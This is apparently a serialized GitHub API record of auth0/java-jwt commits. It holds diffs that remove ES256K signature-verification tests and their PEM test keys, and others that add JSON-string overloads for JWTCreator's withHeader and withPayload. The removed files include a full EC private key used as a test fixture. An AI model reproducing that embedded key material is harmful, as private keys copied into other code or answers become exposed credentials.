-        exception.expectCause(hasMessage(is("Invalid JOSE signature format.")));
-    
-        String jwt = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.e30.MEUCIQDaCA-xzjHBCFhyAm56je5DXgylpUncBsQTxQT7AD19zwIgEjIm3lueII2W4pC_iQR6oRMHNtgqfAzTrWnV7DPNURk";
-        
-        ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(key, null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys() throws Exception {
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC")
-                , (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithProvidedPublicKey() throws Exception {
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        when(provider.getPublicKeyById("my-key-id")).thenReturn((ECPublicKey) publicKey);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWhenProvidedPublicKeyIsNull() {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalStateException.class));
-        exception.expectCause(hasMessage(is("The given Public Key is null.")));
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPublicKeyById("my-key-id")).thenReturn(null);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWithInvalidPublicKey() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWhenUsingPrivateKey() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalStateException.class));
-        exception.expectCause(hasMessage(is("The given Public Key is null.")));
-        Algorithm algorithm = Algorithm.ECDSA256K(null, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidJOSESignatureLength() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalArgumentException.class));
-        exception.expectCause(hasMessage(is("Last unit does not have enough valid bits")));
-        
-        String jwt = ES256K_JWT.substring(0,ES256K_JWT.length()-1);
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidJOSESignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        
-        byte[] bytes = new byte[64];
-        new SecureRandom().nextBytes(bytes);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
-        String jwt = "eyJhbGciOiJFUzI1NksifQo.eyJpc3MiOiJhdXRoMCJ9." + signature;
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidDERSignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        
-        byte[] bytes = new byte[64];
-        bytes[0] = 0x30;
-        new SecureRandom().nextBytes(bytes);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
-        String jwt = "eyJhbGciOiJFUzI1NksifQo.eyJpc3MiOiJhdXRoMCJ9." + signature;
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
+
     @Test
     public void shouldPassECDSA384VerificationWithJOSESignature() throws Exception {
         String jwt = "eyJhbGciOiJFUzM4NCJ9.eyJpc3MiOiJhdXRoMCJ9.50UU5VKNdF1wfykY8jQBKpvuHZoe6IZBJm5NvoB8bR-hnRg6ti-CHbmvoRtlLfnHfwITa_8cJMy6TenMC2g63GQHytc8rYoXqbwtS4R0Ko_AXbLFUmfxnGnMC6v4MS_z";u}(ju  (14631798f50704b67fa7f3e9aa249de9d1b89f1bju  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javaju  modifiedju  K ju  Kpju  Kpju  https://github.com/auth0/java-jwt/blob/499f481a303cea073a95b0b57a920aa71d344993/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaju  https://github.com/auth0/java-jwt/raw/499f481a303cea073a95b0b57a920aa71d344993/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaju  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=499f481a303cea073a95b0b57a920aa71d344993ju  Xo  @@ -33,11 +33,6 @@
 import static org.mockito.Mockito.when;
 
 public class ECDSABouncyCastleProviderTests {
-    
-    
-    private static final String PRIVATE_KEY_FILE_256K = "src/test/resources/ec256k-key-private.pem";
-    private static final String PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public.pem";
-    private static final String INVALID_PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public-invalid.pem";
 
     private static final String PRIVATE_KEY_FILE_256 = "src/test/resources/ec256-key-private.pem";
     private static final String PUBLIC_KEY_FILE_256 = "src/test/resources/ec256-key-public.pem";
@@ -78,113 +73,6 @@ public static void tearDown() {
     public void shouldPreferBouncyCastleProvider() {
         assertThat(Security.getProviders()[0], is(equalTo(bcProvider)));
     }
-
-    // Verify
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignature() throws Exception {
-        ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(key, null);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldThrowOnECDSA256KVerificationWithDERSignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(SignatureException.class));
-        exception.expectCause(hasMessage(is("Invalid JOSE signature format.")));
-    
-        String jwt = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.e30.MEUCIQDaCA-xzjHBCFhyAm56je5DXgylpUncBsQTxQT7AD19zwIgEjIm3lueII2W4pC_iQR6oRMHNtgqfAzTrWnV7DPNURk";
-        
-        ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(key, null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys() throws Exception {
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC")
-                , (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithProvidedPublicKey() throws Exception {
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        when(provider.getPublicKeyById("my-key-id")).thenReturn((ECPublicKey) publicKey);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWhenProvidedPublicKeyIsNull() {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalStateException.class));
-        exception.expectCause(hasMessage(is("The given Public Key is null.")));
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPublicKeyById("my-key-id")).thenReturn(null);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWithInvalidPublicKey() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWhenUsingPrivateKey() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalStateException.class));
-        exception.expectCause(hasMessage(is("The given Public Key is null.")));
-        Algorithm algorithm = Algorithm.ECDSA256K(null, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidJOSESignatureLength() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalArgumentException.class));
-        exception.expectCause(hasMessage(is("Last unit does not have enough valid bits")));
-        
-        String jwt = ES256K_JWT.substring(0,ES256K_JWT.length()-1);
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidJOSESignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        
-        byte[] bytes = new byte[64];
-        new SecureRandom().nextBytes(bytes);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
-        String jwt = "eyJhbGciOiJFUzI1NksifQo.eyJpc3MiOiJhdXRoMCJ9." + signature;
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidDERSignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        
-        byte[] bytes = new byte[64];
-        bytes[0] = 0x30;
-        new SecureRandom().nextBytes(bytes);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
-        String jwt = "eyJhbGciOiJFUzI1NksifQo.eyJpc3MiOiJhdXRoMCJ9." + signature;
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
     
     @Test
     public void shouldPassECDSA256VerificationWithJOSESignature() throws Exception {u}(ju  (43038c8e8aeaf5896b697e176e13f62325f02d1dju  -lib/src/test/resources/ec256k-key-private.pemju  removedju  K ju  Kju  Kju  https://github.com/auth0/java-jwt/blob/f6301e101926e35fdf972f3b9f9ca8bb95fae527/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-private.pemju  https://github.com/auth0/java-jwt/raw/f6301e101926e35fdf972f3b9f9ca8bb95fae527/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-private.pemju  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-private.pem?ref=f6301e101926e35fdf972f3b9f9ca8bb95fae527ju  X!  @@ -1,5 +0,0 @@
------BEGIN PRIVATE KEY-----
-MIGEAgEAMBAGByqGSM49AgEGBSuBBAAKBG0wawIBAQQgN78SHuwC8BVLUbuEBXC9
-sn9LuX9a7yqIt1xaiPupqe6hRANCAAS7s8bnSsGqrv7YBqxqJiQKiyPJvcHTe2UG
-7FpOaAlqIUWL5xbpCZbcH9yqozS55KMVxG78KskeuET7hl01J6EU
------END PRIVATE KEY-----
\ No newline at end of fileu}(ju  (8809e21b0cb10683bf3ea51553cb631af16d4a03ju  4lib/src/test/resources/ec256k-key-public-invalid.pemju  removedju  K ju  Kju  Kju  https://github.com/auth0/java-jwt/blob/f6301e101926e35fdf972f3b9f9ca8bb95fae527/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public-invalid.pemju  https://github.com/auth0/java-jwt/raw/f6301e101926e35fdf972f3b9f9ca8bb95fae527/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public-invalid.pemju  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public-invalid.pem?ref=f6301e101926e35fdf972f3b9f9ca8bb95fae527ju  @@ -1,4 +0,0 @@
------BEGIN PUBLIC KEY-----
-MFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAEXzvxXn69y0I54+Yr0pMXqGyCb1R8D4dS
-xaYhaRuN2fsV+unbFWUYViRoYUgMAbmvnXzVmThLUeP/PTmlv9lm7Q==
------END PUBLIC KEY-----
\ No newline at end of fileu}(ju  (1513ed7005c34f927e6636482fb9aa0235e33c45ju  ,lib/src/test/resources/ec256k-key-public.pemju  removedju  K ju  Kju  Kju  https://github.com/auth0/java-jwt/blob/f6301e101926e35fdf972f3b9f9ca8bb95fae527/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public.pemju  https://github.com/auth0/java-jwt/raw/f6301e101926e35fdf972f3b9f9ca8bb95fae527/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public.pemju  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public.pem?ref=f6301e101926e35fdf972f3b9f9ca8bb95fae527ju  @@ -1,4 +0,0 @@
------BEGIN PUBLIC KEY-----
-MFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAEu7PG50rBqq7+2AasaiYkCosjyb3B03tl
-BuxaTmgJaiFFi+cW6QmW3B/cqqM0ueSjFcRu/CrJHrhE+4ZdNSehFA==
------END PUBLIC KEY-----
\ No newline at end of fileueu(d713cecdbb4fc0641dca9008463add8849a42d6e}(sha(d713cecdbb4fc0641dca9008463add8849a42d6enode_idEC_kwDOAQtL0doAKGQ3MTNjZWNkYmI0ZmMwNjQxZGNhOTAwODQ2M2FkZDg4NDlhNDJkNmUcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2023-03-27T15:18:12Zu	committer}(ju  GitHubju  noreply@github.comju  2023-03-27T15:18:12Zumessage*Merge branch 'master' into insertion-ordertree}(ju  (47ebe5b160383c3ff619d3da22d302bef86bb299url^https://api.github.com/repos/auth0/java-jwt/git/trees/47ebe5b160383c3ff619d3da22d302bef86bb299uju  `https://api.github.com/repos/auth0/java-jwt/git/commits/d713cecdbb4fc0641dca9008463add8849a42d6e
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJkIbO0CRBK7hj4Ov3rIwAA1O0IAG6YH/tHRN9tAsREBxYTJ/Ab
hvkgrqbocweDN88daBLq2y24aSDf8V8NWPAO+4sU+pOFV5hpkZdOUdfDq0rM8dLT
kAOZN9mHoJ4bjB2x4pbQajZOQeCF1MBV34MMbJlvMZ0HbAuxVCeA6Wie4Yigm6nu
zpzLERmlZuHu/LNE/3856xBn5n+OGz3On9vFFZ1+tEAJTrC0w3JEhmpbH/AoIZ2Z
l1phDMnKYvy0zHkrMjG9PYWllGdzAFOMym7yO1EdCD7EO8bC14FeE13x5gMxqvKf
hOEBNda/BVb1zt9VZ8iphK2t11HG+obWjJ+nPGbSJepZqpvFRBh9yUU0GiAkybs=
=Zvcf
-----END PGP SIGNATURE-----
payloadX.  tree 47ebe5b160383c3ff619d3da22d302bef86bb299
parent 2050c030bd49991e399e227e528d9eae6ac00316
parent a18955bb99bf6994e424971db3f621bc0cc64a86
author Jim Anderson <jim.anderson@auth0.com> 1679930292 -0500
committer GitHub <noreply@github.com> 1679930292 -0500

Merge branch 'master' into insertion-orderuuju  \https://api.github.com/repos/auth0/java-jwt/commits/d713cecdbb4fc0641dca9008463add8849a42d6ehtml_urlQhttps://github.com/auth0/java-jwt/commit/d713cecdbb4fc0641dca9008463add8849a42d6ecomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/d713cecdbb4fc0641dca9008463add8849a42d6e/commentsju  }(login
jimmyjamesidJ7 ju  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3ju  'https://api.github.com/users/jimmyjamesjv  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuju  }(jv  web-flowjv  J/ju  MDQ6VXNlcjE5ODY0NDQ3jv  4https://avatars.githubusercontent.com/u/19864447?v=4jv  h3ju  %https://api.github.com/users/web-flowjv  https://github.com/web-flowjv  /https://api.github.com/users/web-flow/followersjv  <https://api.github.com/users/web-flow/following{/other_user}jv  5https://api.github.com/users/web-flow/gists{/gist_id}j v  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j"v  3https://api.github.com/users/web-flow/subscriptionsj$v  *https://api.github.com/users/web-flow/orgsj&v  +https://api.github.com/users/web-flow/reposj(v  6https://api.github.com/users/web-flow/events{/privacy}j*v  5https://api.github.com/users/web-flow/received_eventsj,v  Userj.v  uparents](}(ju  (2050c030bd49991e399e227e528d9eae6ac00316ju  \https://api.github.com/repos/auth0/java-jwt/commits/2050c030bd49991e399e227e528d9eae6ac00316jv  Qhttps://github.com/auth0/java-jwt/commit/2050c030bd49991e399e227e528d9eae6ac00316u}(ju  (a18955bb99bf6994e424971db3f621bc0cc64a86ju  \https://api.github.com/repos/auth0/java-jwt/commits/a18955bb99bf6994e424971db3f621bc0cc64a86jv  Qhttps://github.com/auth0/java-jwt/commit/a18955bb99bf6994e424971db3f621bc0cc64a86uestats}(totalK	additionsK|	deletionsKufiles](}(ju  (d147f2d07f7476a6714de742e71e3135eadc47ddfilenamelib/build.gradlestatusmodifiedjLv  KjMv  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/d713cecdbb4fc0641dca9008463add8849a42d6e/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/d713cecdbb4fc0641dca9008463add8849a42d6e/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=d713cecdbb4fc0641dca9008463add8849a42d6epatchX2  @@ -72,7 +72,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.4.2'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.14.0'
 
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.70'
     testImplementation 'junit:junit:4.13.2'u}(ju  (ece589b1a7c6f0876c809ee044c04940472eae62jRv  /lib/src/main/java/com/auth0/jwt/JWTCreator.javajTv  modifiedjLv  K0jMv  K jVv  K0jWv  https://github.com/auth0/java-jwt/blob/d713cecdbb4fc0641dca9008463add8849a42d6e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javajYv  https://github.com/auth0/java-jwt/raw/d713cecdbb4fc0641dca9008463add8849a42d6e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj[v  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=d713cecdbb4fc0641dca9008463add8849a42d6ej]v  X
  @@ -98,6 +98,27 @@ public Builder withHeader(Map<String, Object> headerClaims) {
             return this;
         }
 
+        /**
+         * Add specific Claims to set as the Header.
+         * If provided json is null then nothing is changed
+         *
+         * @param headerClaimsJson the values to use as Claims in the token's Header.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if json value has invalid structure
+         */
+        public Builder withHeader(String headerClaimsJson) throws IllegalArgumentException {
+            if (headerClaimsJson == null) {
+                return this;
+            }
+
+            try {
+                Map<String, Object> headerClaims = mapper.readValue(headerClaimsJson, HashMap.class);
+                return withHeader(headerClaims);
+            } catch (JsonProcessingException e) {
+                throw new IllegalArgumentException("Invalid header JSON", e);
+            }
+        }
+
         /**
          * Add a specific Key Id ("kid") claim to the Header.
          * If the {@link Algorithm} used to sign this token was instantiated with a KeyProvider,
@@ -467,6 +488,33 @@ public Builder withPayload(Map<String, ?> payloadClaims) throws IllegalArgumentE
             return this;
         }
 
+        /**
+         * Add specific Claims to set as the Payload. If the provided json is null then
+         * nothing is changed.
+         *
+         * <p>
+         * If any of the claims are invalid, none will be added.
+         * </p>
+         *
+         * @param payloadClaimsJson the values to use as Claims in the token's payload.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if any of the claim keys or null,
+         *                                  or if the values are not of a supported type,
+         *                                  or if json value has invalid structure.
+         */
+        public Builder withPayload(String payloadClaimsJson) throws IllegalArgumentException {
+            if (payloadClaimsJson == null) {
+                return this;
+            }
+
+            try {
+                Map<String, Object> payloadClaims =  mapper.readValue(payloadClaimsJson, HashMap.class);
+                return withPayload(payloadClaims);
+            } catch (JsonProcessingException e) {
+                throw new IllegalArgumentException("Invalid payload JSON", e);
+            }
+        }
+
         private boolean validatePayload(Map<String, ?> payload) {
             for (Map.Entry<String, ?> entry : payload.entrySet()) {
                 String key = entry.getKey();u}(ju  (1dd1c3357fa338a609bc02412f5395523fd5ee6bjRv  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javajTv  modifiedjLv  KKjMv  KjVv  KNjWv  https://github.com/auth0/java-jwt/blob/d713cecdbb4fc0641dca9008463add8849a42d6e/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javajYv  https://github.com/auth0/java-jwt/raw/d713cecdbb4fc0641dca9008463add8849a42d6e/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj[v  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=d713cecdbb4fc0641dca9008463add8849a42d6ej]v  X  @@ -3,6 +3,7 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
+import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.databind.ObjectMapper;
 import com.fasterxml.jackson.databind.node.ObjectNode;
 import org.junit.Rule;
@@ -83,13 +84,48 @@ public void shouldAddHeaderClaim() {
 
     @Test
     public void shouldReturnBuilderIfNullMapIsProvided() {
+        Map<String, Object> nullMap = null;
+        String nullString = null;
         String signed = JWTCreator.init()
-                .withHeader(null)
+                .withHeader(nullMap)
+                .withHeader(nullString)
                 .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
     }
 
+    @Test
+    public void shouldSupportJsonValueHeaderWithNestedDataStructure() {
+        String stringClaim = "someClaim";
+        Integer intClaim = 1;
+        List<String> nestedListClaims = Arrays.asList("1", "2");
+        String claimsJson = "{\"stringClaim\": \"someClaim\", \"intClaim\": 1, \"nestedClaim\": { \"listClaim\": [ \"1\", \"2\" ]}}";
+
+        String jwt = JWTCreator.init()
+                .withHeader(claimsJson)
+                .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(jwt, is(notNullValue()));
+        String[] parts = jwt.split("\\.");
+        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
+
+        assertThat(headerJson, JsonMatcher.hasEntry("stringClaim", stringClaim));
+        assertThat(headerJson, JsonMatcher.hasEntry("intClaim", intClaim));
+        assertThat(headerJson, JsonMatcher.hasEntry("listClaim", nestedListClaims));
+    }
+
+    @Test
+    public void shouldFailWithIllegalArgumentExceptionForInvalidJsonForHeaderClaims() {
+        String invalidJson = "{ invalidJson }";
+
+        exception.expect(IllegalArgumentException.class);
+        exception.expectMessage("Invalid header JSON");
+
+        JWTCreator.init()
+                .withHeader(invalidJson)
+                .sign(Algorithm.HMAC256("secret"));
+    }
+
     @Test
     public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
         Map<String, Object> header = new HashMap<>();
@@ -106,6 +142,7 @@ public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
         assertThat(headerJson, JsonMatcher.hasEntry(HeaderParams.KEY_ID, "xyz"));
     }
 
+
     @Test
     public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() {
         Map<String, Object> header = new HashMap<>();
@@ -716,8 +753,11 @@ public void withPayloadShouldAddBasicClaim() {
 
     @Test
     public void withPayloadShouldCreateJwtWithEmptyBodyIfPayloadNull() {
+        Map<String, Object> nullMap = null;
+        String nullString = null;
         String jwt = JWTCreator.init()
-                .withPayload(null)
+                .withPayload(nullMap)
+                .withPayload(nullString)
                 .sign(Algorithm.HMAC256("secret"));
 
         assertThat(jwt, is(notNullValue()));
@@ -922,10 +962,42 @@ public void withPayloadShouldSupportNullValuesEverywhere() {
         assertThat(headerJson, JsonMatcher.hasEntry("objClaim", objClaim));
     }
 
+    @Test
+    public void withPayloadShouldSupportJsonValueWithNestedDataStructure() {
+        String stringClaim = "someClaim";
+        Integer intClaim = 1;
+        List<String> nestedListClaims = Arrays.asList("1", "2");
+        String claimsJson = "{\"stringClaim\": \"someClaim\", \"intClaim\": 1, \"nestedClaim\": { \"listClaim\": [ \"1\", \"2\" ]}}";
+
+        String jwt = JWTCreator.init()
+                .withPayload(claimsJson)
+                .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(jwt, is(notNullValue()));
+        String[] parts = jwt.split("\\.");
+        String payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
+
+        assertThat(payloadJson, JsonMatcher.hasEntry("stringClaim", stringClaim));
+        assertThat(payloadJson, JsonMatcher.hasEntry("intClaim", intClaim));
+        assertThat(payloadJson, JsonMatcher.hasEntry("listClaim", nestedListClaims));
+    }
+
+    @Test
+    public void shouldFailWithIllegalArgumentExceptionForInvalidJsonForPayloadClaims() {
+        String invalidJson = "{ invalidJson }";
+
+        exception.expect(IllegalArgumentException.class);
+        exception.expectMessage("Invalid payload JSON");
+
+        JWTCreator.init()
+                .withPayload(invalidJson)
+                .sign(Algorithm.HMAC256("secret"));
+    }
+
     @Test
     public void shouldCreatePayloadWithNullForMap() {
         String jwt = JWTCreator.init()
-                .withClaim("name", (Map<String,?>) null)
+                .withClaim("name", (Map<String, ?>) null)
                 .sign(Algorithm.HMAC256("secret"));
         assertThat(jwt, is(notNullValue()));
         assertTrue(JWT.decode(jwt).getClaim("name").isNull());ueu(798b3dd08f4db2181649d34a64db8b3b94793956}(sha(798b3dd08f4db2181649d34a64db8b3b94793956node_idEC_kwDOAQtL0doAKDc5OGIzZGQwOGY0ZGIyMTgxNjQ5ZDM0YTY0ZGI4YjNiOTQ3OTM5NTYcommit}(author}(name
